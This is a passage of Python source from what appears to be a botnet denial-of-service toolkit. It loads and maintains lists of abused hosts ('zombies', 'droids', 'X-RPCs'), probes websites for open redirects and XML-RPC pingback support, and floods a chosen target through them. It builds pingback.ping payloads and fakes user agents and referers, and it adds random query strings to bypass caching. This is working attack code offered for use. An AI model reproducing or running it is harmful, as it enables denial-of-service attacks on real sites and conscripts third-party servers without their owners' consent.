  3376. droid_timeout = 5
  3377. req = urllib.request.Request(url, None, headers)
  3378. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3379. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3380. except Exception:
  3381. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3382. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3383. if not self.options.disablepurge:
  3384. self.discard_droids.append(droid)
  3385. self.num_discard_droids = self.num_discard_droids + 1
  3386. else:
  3387. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3388. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3389. if not self.options.disablepurge:
  3390. self.discard_droids.append(droid)
  3391. self.num_discard_droids = self.num_discard_droids + 1
  3392. if self.options.verbose:
  3393. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3394. if self.options.disablerpcs and self.options.disableucavs:
  3395. self.extra_zombies_lock = False # [ARMY] have finished
  3396. def extract_droids(self):
  3397. # extract droids from file
  3398. options = self.options
  3399. try:
  3400. f = open(self.droids_file)
  3401. droids = f.readlines()
  3402. droids = [ droid.replace('\n','') for droid in droids ]
  3403. f.close()
  3404. if not droids:
  3405. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3406. self.options.disabledroids = True
  3407. return
  3408. else:
  3409. return droids
  3410. except:
  3411. if os.path.exists(self.droids_file) == True:
  3412. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3413. return #sys.exit(2)
  3414. else:
  3415. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3416. return #sys.exit(2)
  3417. def discarding_rpcs(self, rpc, rpcs):
  3418. if rpc in self.discard_rpcs:
  3419. rpcs.remove(rpc)
  3420. if self.options.verbose:
  3421. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3422. return rpcs
  3423. def send_rpcs(self, rpcs):
  3424. # extract vulnerable XML-RPC pingback services and perform requests against target
  3425. time.sleep(4) # aiming (multi-threading flow time compensation)
  3426. if not self.options.disablepurge:
  3427. if not rpcs: # return when not any working
  3428. self.options.disablerpcs = True
  3429. return
  3430. target = self.options.target
  3431. options = self.options
  3432. def random_key(length):
  3433. key = ''
  3434. for i in range(length):
  3435. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3436. return key
  3437. shuffle(rpcs) # shuffle rpcs
  3438. if not self.options.disablepurge:
  3439. for rpc in rpcs:
  3440. if not rpc.startswith('http'): # discarded inmediately
  3441. if not self.options.disablepurge:
  3442. self.discard_rpcs.append(rpc)
  3443. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3444. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3445. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3446. if not self.options.disablepurge:
  3447. if not rpcs: # return when not any working
  3448. self.options.disablerpcs = True
  3449. return
  3450. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3451. for rpc in rpcs:
  3452. t = urlparse(rpc)
  3453. name_rpc = t.netloc
  3454. if name_rpc == "":
  3455. name_rpc = rpc
  3456. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3457. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3458. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3459. key = random_key(8) # generate random value page to bypass cache
  3460. rpc_page = "?" + str(key)
  3461. key = random_key(6) # re-generate random value id to bypass cache
  3462. rpc_id = "=" + str(key)
  3463. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3464. if "/xmlrpc.php" in rpc:
  3465. rpc_place = rpc.replace("xmlrpc.php", "")
  3466. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3467. try:
  3468. if options.proxy: # set proxy
  3469. self.proxy_transport(options.proxy)
  3470. if self.options.timeout: # set timeout
  3471. try:
  3472. rpc_timeout = int(self.options.timeout)
  3473. except:
  3474. rpc_timeout = 5
  3475. else:
  3476. rpc_timeout = 5
  3477. if rpc_timeout < 1:
  3478. rpc_timeout = 5
  3479. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3480. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3481. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3482. if self.options.verbose:
  3483. print("[Info] [X-RPCs] Reply:", target_reply)
  3484. except:
  3485. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3486. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3487. if not self.options.disablepurge:
  3488. self.discard_rpcs.append(rpc)
  3489. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3490. else:
  3491. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3492. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3493. if not self.options.disablepurge:
  3494. self.discard_rpcs.append(rpc)
  3495. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3496. if self.options.verbose:
  3497. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3498. if self.options.disableucavs:
  3499. self.extra_zombies_lock = False # [ARMY] have finished
  3500. def extract_rpcs(self):
  3501. # extract rpcs from file
  3502. options = self.options
  3503. try:
  3504. f = open(self.rpcs_file)
  3505. rpcs = f.readlines()
  3506. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3507. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3508. f.close()
  3509. if not rpcs:
  3510. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3511. self.options.disablerpcs = True
  3512. return
  3513. else:
  3514. return rpcs
  3515. except:
  3516. if os.path.exists(self.rpcs_file) == True:
  3517. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3518. return
  3519. else:
  3520. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3521. return
  3522. def extract_ntps(self):
  3523. # extract ntps from file
  3524. options = self.options
  3525. try:
  3526. f = open(self.ntps_file)
  3527. ntps = f.readlines()
  3528. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3529. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3530. f.close()
  3531. if not ntps:
  3532. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3533. return
  3534. else:
  3535. return ntps
  3536. except:
  3537. if os.path.exists(self.ntps_file) == True:
  3538. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3539. return
  3540. else:
  3541. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")
  3542. return
  3543. def extract_dnss(self):
  3544. # extract dnss from file
  3545. options = self.options
  3546. try:
  3547. f = open(self.dnss_file)
  3548. dnss = f.readlines()
  3549. dnss = [ dns.replace('\r','') for dns in dnss ]
  3550. dnss = [ dns.replace('\n','') for dns in dnss ]
  3551. f.close()
  3552. if not dnss:
  3553. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3554. return
  3555. else:
  3556. return dnss
  3557. except:
  3558. if os.path.exists(self.dnss_file) == True:
  3559. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3560. return
  3561. else:
  3562. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")
  3563. return
  3564. def extract_zombies(self):
  3565. options = self.options
  3566. if self.options.test:
  3567. try:
  3568. f = open(options.test)
  3569. zombies = f.readlines()
  3570. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3571. f.close()
  3572. if not zombies:
  3573. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3574. return
  3575. else:
  3576. return zombies
  3577. except:
  3578. if os.path.exists(options.test) == True:
  3579. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3580. return #sys.exit(2)
  3581. else:
  3582. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3583. return #sys.exit(2)
  3584. else:
  3585. try:
  3586. f = open(self.zombies_file)
  3587. zombies = f.readlines()
  3588. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3589. f.close()
  3590. if not zombies:
  3591. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3592. return
  3593. else:
  3594. return zombies
  3595. except:
  3596. if os.path.exists(self.zombies_file) == True:
  3597. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3598. return #sys.exit(2)
  3599. else:
  3600. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3601. return #sys.exit(2)
  3602. def extract_target_list(self):
  3603. options = self.options
  3604. try:
  3605. f = open(options.target_list)
  3606. targets = f.readlines()
  3607. targets = [ target.replace('\n','') for target in targets ]
  3608. f.close()
  3609. if not targets:
  3610. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3611. return
  3612. else:
  3613. return targets
  3614. except:
  3615. if os.path.exists(options.target_list) == True:
  3616. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3617. return #sys.exit(2)
  3618. else:
  3619. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3620. return #sys.exit(2)
  3621. def update_zombies(self, zombies_ready):
  3622. # update zombies on file
  3623. options = self.options
  3624. if options.attackme:
  3625. f = open(self.zombies_file, "w") # re-write list
  3626. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3627. for x in zombie:
  3628. f.write(str(x) + os.linesep)
  3629. f.close()
  3630. if options.test or options.testall:
  3631. if not options.test:
  3632. options.test = self.zombies_file
  3633. f = open(options.test, "w") # re-write list only with zombies ready
  3634. for zombie in zombies_ready:
  3635. f.write(zombie + os.linesep)
  3636. f.close()
  3637. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  3638. f = open(self.zombies_file)
  3639. zombies_on_file = f.read().splitlines()
  3640. with open(self.zombies_file, "a") as zombie_list:
  3641. for zombie in zombies_ready:
  3642. if zombie not in zombies_on_file: # parse possible repetitions
  3643. zombie_list.write(zombie + os.linesep)
  3644. if options.download or options.download_github:
  3645. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3646. else:
  3647. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3648. f.close()
  3649. def update_aliens(self, aliens_ready):
  3650. # update aliens on file
  3651. options = self.options
  3652. if options.download or options.download_github: # append only new aliens to list
  3653. f = open(self.aliens_file)
  3654. aliens_on_file = f.read().splitlines()
  3655. with open(self.aliens_file, "a") as alien_list:
  3656. for alien in aliens_ready:
  3657. if alien not in aliens_on_file: # parse possible repetitions
  3658. alien_list.write(alien + os.linesep)
  3659. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3660. f.close()
  3661. def update_droids(self, droids_ready):
  3662. # update droids on file
  3663. options = self.options
  3664. if options.download or options.download_github: # append only new droids to list
  3665. f = open(self.droids_file)
  3666. droids_on_file = f.read().splitlines()
  3667. with open(self.droids_file, "a") as droid_list:
  3668. for droid in droids_ready:
  3669. if droid not in droids_on_file: # parse possible repetitions
  3670. droid_list.write(droid + os.linesep)
  3671. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3672. f.close()
  3673. def update_ucavs(self, ucavs_ready):
  3674. # update ucavs on file
  3675. options = self.options
  3676. if options.download or options.download_github: # append only new ucavs to list
  3677. f = open(self.ucavs_file)
  3678. ucavs_on_file = f.read().splitlines()
  3679. with open(self.ucavs_file, "a") as ucav_list:
  3680. for ucav in ucavs_ready:
  3681. if ucav not in ucavs_on_file: # parse possible repetitions
  3682. ucav_list.write(ucav + os.linesep)
  3683. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3684. f.close()
  3685. def update_rpcs(self, rpcs_ready):
  3686. # update rpcs on file
  3687. options = self.options
  3688. if options.testrpc or options.testall:
  3689. f = open(self.rpcs_file, "w") # re-write list
  3690. for rpc in rpcs_ready: # add only rpc verified zombies
  3691. f.write(rpc + os.linesep)
  3692. f.close()
  3693. if options.download or options.download_github: # append only new rpcs to list
  3694. f = open(self.rpcs_file)
  3695. rpcs_on_file = f.read().splitlines()
  3696. with open(self.rpcs_file, "a") as rpc_list:
  3697. for rpc in rpcs_ready:
  3698. if rpc not in rpcs_on_file: # parse possible repetitions
  3699. rpc_list.write(rpc + os.linesep)
  3700. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3701. f.close()
  3702. def update_dnss(self, dnss_ready):
  3703. # update dns on file
  3704. options = self.options
  3705. if options.download or options.download_github: # append only new dns to list
  3706. f = open(self.dnss_file)
  3707. dnss_on_file = f.read().splitlines()
  3708. with open(self.dnss_file, "a") as dns_list:
  3709. for dns in dnss_ready:
  3710. if dns not in dnss_on_file: # parse possible repetitions
  3711. dns_list.write(dns + os.linesep)
  3712. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3713. f.close()
  3714. def update_ntps(self, ntps_ready):
  3715. # update ntps on file
  3716. options = self.options
  3717. if options.download or options.download_github: # append only new ntps to list
  3718. f = open(self.ntps_file)
  3719. ntps_on_file = f.read().splitlines()
  3720. with open(self.ntps_file, "a") as ntp_list:
  3721. for ntp in ntps_ready:
  3722. if ntp not in ntps_on_file: # parse possible repetitions
  3723. ntp_list.write(ntp + os.linesep)
  3724. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3725. f.close()
  3726. def search_rpc(self, rpc_host):
  3727. options = self.options
  3728. rpc_vulnerable = False
  3729. rpc_pingback_url = False
  3730. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3731. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3732. try:
  3733. if self.options.testall: # testing_all
  3734. if options.proxy: # set proxy
  3735. self.proxy_transport(options.proxy)
  3736. req = urllib.request.Request(rpc_host, None, headers)
  3737. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3738. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3739. for link in rpc_links:
  3740. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3741. rpc_pingback_url = link[0]
  3742. rpc_vulnerable = True
  3743. break # found it!
  3744. else: # not any XML-RPC discovering methods are working
  3745. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3746. rpc_vulnerable = False
  3747. else:
  3748. if rpc_host.startswith("http://"):
  3749. rpc_host = rpc_host.replace("http://", "")
  3750. if rpc_host.startswith("https://"):
  3751. rpc_host = rpc_host.replace("https://", "")
  3752. rpc_host = urlparse(rpc_host)
  3753. rpc_path = rpc_host.path.replace("\r", "")
  3754. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3755. reply = self.connect_zombie(rpc_path)
  3756. self.head = False
  3757. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3758. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3759. rpc_pingback_url = m.group(1) # extract rpc server url
  3760. rpc_vulnerable = True
  3761. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3762. if options.proxy: # set proxy
  3763. self.proxy_transport(options.proxy)
  3764. req_rpc = urllib.request.Request(rpc_host, None, headers)
  3765. req_rpc.get_method = lambda : 'GET'
  3766. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  3767. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3768. for link in rpc_links:
  3769. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3770. rpc_pingback_url = link[0]
  3771. rpc_vulnerable = True
  3772. break # found it!
  3773. else: # not any XML-RPC discovering methods are working
  3774. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3775. rpc_vulnerable = False
  3776. except: # something wrong discovering XML-RPC Pingback
  3777. pass
  3778. return rpc_vulnerable, rpc_pingback_url
  3779. def testing_offline(self):
  3780. # check for zombies offline
  3781. print ("\n[Info] [AI] Checking for [Zombies] offline!\n")
  3782. print('='*35)
  3783. zombies_online = 0
  3784. zombies_offline = 0
  3785. zombies = self.extract_zombies()
  3786. rpcs = self.extract_rpcs()
  3787. aliens = self.extract_aliens()
  3788. droids = self.extract_droids()
  3789. ucavs = self.extract_ucavs()
  3790. try:
  3791. botnet = zombies + rpcs + aliens + droids + ucavs
  3792. except:
  3793. return
  3794. discarded = [] # for discarded zombies
  3795. if not botnet:
  3796. return
  3797. self.head = True
  3798. for zombie in botnet:
  3799. zombie = str(zombie)
  3800. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3801. zombie_type = 'Zombie'
  3802. elif zombie in rpcs:
  3803. zombie_type = 'XML-RPC'
  3804. elif zombie in aliens:
  3805. zombie_type = 'Alien'
  3806. elif zombie in droids:
  3807. zombie_type = 'Droid'
  3808. elif zombie in ucavs:
  3809. zombie_type = 'UCAV'
  3810. t = urlparse(zombie)
  3811. name_zombie = t.netloc
  3812. if name_zombie == "":
  3813. name_zombie = zombie
  3814. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3815. sep = ';$POST;'
  3816. zombie = zombie.split(sep, 1)[0]
  3817. reply = str(self.connect_zombie(zombie))
  3818. if reply:
  3819. status = "ONLINE!"
  3820. zombies_online = zombies_online + 1
  3821. else:
  3822. status = "NOT Working!"
  3823. zombies_offline = zombies_offline + 1
  3824. print("\nName:", name_zombie)
  3825. print("Type: [", zombie_type, "]")
  3826. print("Vector:", zombie)
  3827. print("HTTP Code:", reply)
  3828. print("STATUS:", status)
  3829. print('-'*21)
  3830. if status == "NOT Working!": # add to discarded zombies
  3831. if zombie not in discarded:
  3832. discarded.append(zombie)
  3833. print("\n" + '='*52)
  3834. print("\n+ Total Botnet:", len(botnet))
  3835. print("\n" + '-'*25 + "\n")
  3836. print(" - ONLINE:", zombies_online)
  3837. print(" - OFFLINE:", zombies_offline, "\n")
  3838. print('='*52 + '\n')
  3839. self.head = False
  3840. if zombies_offline > 0:
  3841. if not self.options.forceyes:
  3842. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  3843. print('-'*25 + "\n")
  3844. else:
  3845. test_reply = "Y"
  3846. if test_reply == "n" or test_reply == "N":
  3847. print("[AI] "+self.exit_msg+"\n")
  3848. return
  3849. else:
  3850. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3851. print('='*52)
  3852. print("\n - DISCARDED:", disc_zombies)
  3853. new_botnet = int(len(botnet) - disc_zombies)
  3854. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  3855. print('='*52 + '\n')
  3856. else:
  3857. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  3858. def send_extra_zombies(self):
  3859. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3860. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3861. if self.options.verbose:
  3862. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  3863. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3864. for a in aliens:
  3865. if a is None:
  3866. self.options.disablealiens = True
  3867. self.total_aliens = 0 # not any alien invoked
  3868. else:
  3869. for s in a: # extract number of aliens
  3870. self.total_aliens = self.total_aliens + 1
  3871. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3872. al.start()
  3873. else:
  3874. self.options.disablealiens = True
  3875. self.total_aliens = 0 # not any alien invoked
  3876. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3877. if self.options.verbose:
  3878. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  3879. droids = [self.extract_droids()] # extract droids from file to a list
  3880. for d in droids:
  3881. if d is None:
  3882. self.options.disabledroids = True
  3883. self.total_droids = 0 # not any droid invoked
  3884. else:
  3885. for s in d: # extract number of droids
  3886. self.total_droids = self.total_droids + 1
  3887. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3888. dr.start()
  3889. else:
  3890. self.options.disabledroids = True
  3891. self.total_droids = 0 # not any droid invoked
  3892. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3893. if self.options.verbose:
  3894. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  3895. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3896. for r in rpcs:
  3897. if r is None:
  3898. self.options.disablerpcs = True
  3899. self.total_rpcs = 0 # not any rpc invoked
  3900. else:
  3901. for s in r: # extract number of rpcs
  3902. self.total_rpcs = self.total_rpcs + 1
  3903. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3904. rp.start()
  3905. else:
  3906. self.options.disablerpcs = True
  3907. self.total_rpcs = 0 # not any rpcs invoked
  3908. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3909. if self.options.verbose:
  3910. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  3911. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3912. for u in ucavs:
  3913. if u is None:
  3914. self.options.disableucavs = True
  3915. self.total_ucavs = 0 # not any ucav invoked
  3916. else:
  3917. for s in u: # extract number of ucavs
  3918. self.total_ucavs = self.total_ucavs + 1
  3919. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3920. uc.start()
  3921. else:
  3922. self.options.disableucavs = True
  3923. self.total_ucavs = 0 # not any ucavs invoked
  3924. def abandoning_zombies(self):
  3925. if self.options.expire: # set timing for purge
  3926. try:
  3927. timing = int(self.options.expire)
  3928. except:
  3929. timing = self.expire_timing # default timing for purge
  3930. else:
  3931. timing = self.expire_timing # default timing for purge
  3932. if timing < 1:
  3933. timing = self.expire_timing # default timing for purge
  3934. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3935. zombies_lock = 0
  3936. if self.options.verbose:
  3937. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  3938. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3939. zombies_lock = zombies_lock + 1
  3940. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3941. if self.options.verbose:
  3942. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  3943. break
  3944. else:
  3945. time.sleep(1)
  3946. def discard_zombies(self, discarded):
  3947. disc_zombies = 0
  3948. if self.options.testoffline:
  3949. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3950. else:
  3951. zombies_list = [self.zombies_file]
  3952. if not self.options.disablealiens: # add aliens
  3953. zombies_list.append(self.aliens_file)
  3954. if not self.options.disabledroids: # add droids
  3955. zombies_list.append(self.droids_file)
  3956. if not self.options.disablerpcs: # add rpcs
  3957. zombies_list.append(self.rpcs_file)
  3958. if not self.options.disableucavs: # add ucavs
  3959. zombies_list.append(self.ucavs_file)
  3960. for l in zombies_list:
  3961. f = open(l, "r+")
  3962. d = f.readlines()
  3963. f.close()
  3964. f = open(l, "w")
  3965. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  3966. f.close()
  3967. return disc_zombies
  3968. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  3969. m = []
  3970. for zombie in d:
  3971. if zombie not in discarded == True:
  3972. m.append(zombie) # save it
  3973. else:
  3974. disc_zombies = disc_zombies + 1
  3975. if not m:
  3976. f.write("")
  3977. else:
  3978. for z in m:
  3979. f.write(z+os.linesep)
  3980. return disc_zombies
  3981. def testing_rpcs(self, rpcs):
  3982. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  3983. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  3984. options = self.options
  3985. if self.options.testall: #testing_all
  3986. print('='*51)
  3987. print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")
  3988. print('='*51)
  3989. num_active_rpcs = 0
  3990. num_failed_rpcs = 0
  3991. rpcs_ready = []
  3992. print("Trying:", len(rpcs))
  3993. print('-'*21)
  3994. for rpc in rpcs:
  3995. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3996. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3997. if rpc.startswith("http://") or rpc.startswith("https://"):
  3998. print("[Info] [X-RPCs] Searching 'Pingback' on:", rpc)
  3999. rpc_host = rpc.replace("/xmlrpc.php", "")
  4000. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4001. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4002. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4003. try:
  4004. if options.proxy: # set proxy
  4005. self.proxy_transport(options.proxy)
  4006. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4007. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4008. if self.options.verbose:
  4009. print("[Info] [X-RPCs] Reply:", target_reply)
  4010. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4011. print("[Info] [AI] [ "+rpc+" ] -> [VULNERABLE!]")
  4012. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4013. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4014. else:
  4015. print("[Info] [AI] [ "+rpc+" ] -> [NOT vulnerable...]")
  4016. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4017. except:
  4018. print("[Info] [AI] It is NOT vulnerable...")
  4019. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4020. else:
  4021. print("[Info] [AI] It is NOT vulnerable...")
  4022. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4023. print('='*18)
  4024. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4025. print('='*18)
  4026. if self.options.testall: # testing_all
  4027. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4028. else:
  4029. # update 'rpcs' list
  4030. if num_active_rpcs == 0:
  4031. print("\n[Info] [X-RPCs] Not any vulnerable 'rpc' active!\n")
  4032. return
  4033. else:
  4034. if not self.options.forceyes:
  4035. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4036. print('-'*25)
  4037. else:
  4038. update_reply = "Y"
  4039. if update_reply == "n" or update_reply == "N":
  4040. print("[AI] "+self.exit_msg+"\n")
  4041. return
  4042. else:
  4043. self.update_rpcs(rpcs_ready)
  4044. if not self.options.upload:
  4045. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4046. def testing(self, zombies):
  4047. # test Open Redirect vulnerabilities on webapps and show statistics
  4048. # HTTP HEAD check
  4049. army = 0
  4050. print ("Are 'they' alive? :-) (HEAD Check):")
  4051. print('='*35)
  4052. num_active_zombies = 0
  4053. num_failed_zombies = 0
  4054. active_zombies = []
  4055. print("Trying:", len(zombies))
  4056. print('-'*21)
  4057. for zombie in zombies:
  4058. zombie = str(zombie)
  4059. if zombie.startswith("http://") or zombie.startswith("https://"):
  4060. # send HEAD connection
  4061. self.head = True
  4062. self.connect_zombies(zombie)
  4063. while self.herd.no_more_zombies() == False:
  4064. time.sleep(1)
  4065. for zombie in self.herd.done:
  4066. zombie = str(zombie)
  4067. t = urlparse(zombie)
  4068. if self.herd.get_result(zombie):
  4069. code_reply = self.herd.get_result(zombie)
  4070. self.head = False
  4071. if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
  4072. name_zombie = t.netloc
  4073. if name_zombie == "":
  4074. name_zombie = zombie
  4075. print("Zombie:", name_zombie)
  4076. print("Status: OK ["+ code_reply + "]")
  4077. num_active_zombies = num_active_zombies + 1
  4078. active_zombies.append(zombie)
  4079. elif code_reply == "404":
  4080. print("Zombie:", t.netloc)
  4081. print("Status: Not Found ["+ code_reply + "]")
  4082. num_failed_zombies = num_failed_zombies + 1
  4083. else:
  4084. print("Zombie:", t.netloc, "\nVector:", zombie)
  4085. print("Status: Not Allowed ["+ code_reply + "]")
  4086. num_failed_zombies = num_failed_zombies + 1
  4087. else:
  4088. if self.options.verbose:
  4089. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4090. print("Zombie:", zombie)
  4091. print("Status: Malformed!")
